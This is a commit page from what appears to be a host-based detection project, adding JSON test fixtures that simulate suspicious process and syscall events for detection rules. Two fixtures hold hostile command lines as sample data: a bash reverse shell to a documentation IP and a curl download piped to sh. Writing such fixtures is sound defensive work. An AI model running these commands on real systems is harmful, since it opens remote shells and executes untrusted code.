luna/enodia-sentinal
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Add enrichment and SID coverage gates

Browse source
This commit is contained in:
Luna 2026-07-08 17:05:17 -07:00
parent 93ac47dd82
commit 66472134d8
32 changed files with 1623 additions and 31 deletions
Download patch file Download diff file Expand all files Collapse all files

9
tests/fixtures/sids/100001-tmp-exec.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "exec",
"pid": 4242,
"ppid": 4100,
"uid": 1000,
"parent_comm": "bash",
"filename": "/tmp/.payload",
"argv": []
}

9
tests/fixtures/sids/100002-reverse-shell-argv.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "exec",
"pid": 4243,
"ppid": 4100,
"uid": 1000,
"parent_comm": "sshd",
"filename": "/usr/bin/bash",
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]
}

9
tests/fixtures/sids/100003-web-shell-spawn.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "exec",
"pid": 4244,
"ppid": 812,
"uid": 33,
"parent_comm": "nginx",
"filename": "/usr/bin/sh",
"argv": ["-c", "id"]
}

9
tests/fixtures/sids/100004-curl-pipe-sh.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "exec",
"pid": 4245,
"ppid": 4100,
"uid": 1000,
"parent_comm": "bash",
"filename": "/usr/bin/curl",
"argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]
}

9
tests/fixtures/sids/100060-mprotect-rwx.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "syscall",
"pid": 4250,
"ppid": 4100,
"uid": 1000,
"comm": "loader",
"syscall": "mprotect",
"args": [140000000, 4096, 7]
}

9
tests/fixtures/sids/100061-mmap-rwx.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "syscall",
"pid": 4251,
"ppid": 4100,
"uid": 1000,
"comm": "loader",
"syscall": "mmap",
"args": [0, 4096, 7]
}

10
tests/fixtures/sids/100062-memfd-create.json vendored Normal file
View file

@ -0,0 +1,10 @@
{
"event": "syscall",
"pid": 4252,
"ppid": 4100,
"uid": 1000,
"comm": "loader",
"syscall": "memfd_create",
"args": [0, 0, 0],
"text": "payload"
}

9
tests/fixtures/sids/100063-ptrace-attach.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "syscall",
"pid": 4253,
"ppid": 4100,
"uid": 1000,
"comm": "debugger",
"syscall": "ptrace",
"args": [16, 5000, 0]
}

9
tests/fixtures/sids/100064-seccomp.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "syscall",
"pid": 4254,
"ppid": 4100,
"uid": 1000,
"comm": "sandbox",
"syscall": "seccomp",
"args": [0, 0, 0]
}

9
tests/fixtures/sids/100065-process-vm-readv.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "syscall",
"pid": 4255,
"ppid": 4100,
"uid": 1000,
"comm": "scanner",
"syscall": "process_vm_readv",
"args": [5000, 0, 0]
}

9
tests/fixtures/sids/100066-mlock.json vendored Normal file
View file

@ -0,0 +1,9 @@
{
"event": "syscall",
"pid": 4256,
"ppid": 4100,
"uid": 1000,
"comm": "secretstore",
"syscall": "mlock",
"args": [140000000, 4096, 0]
}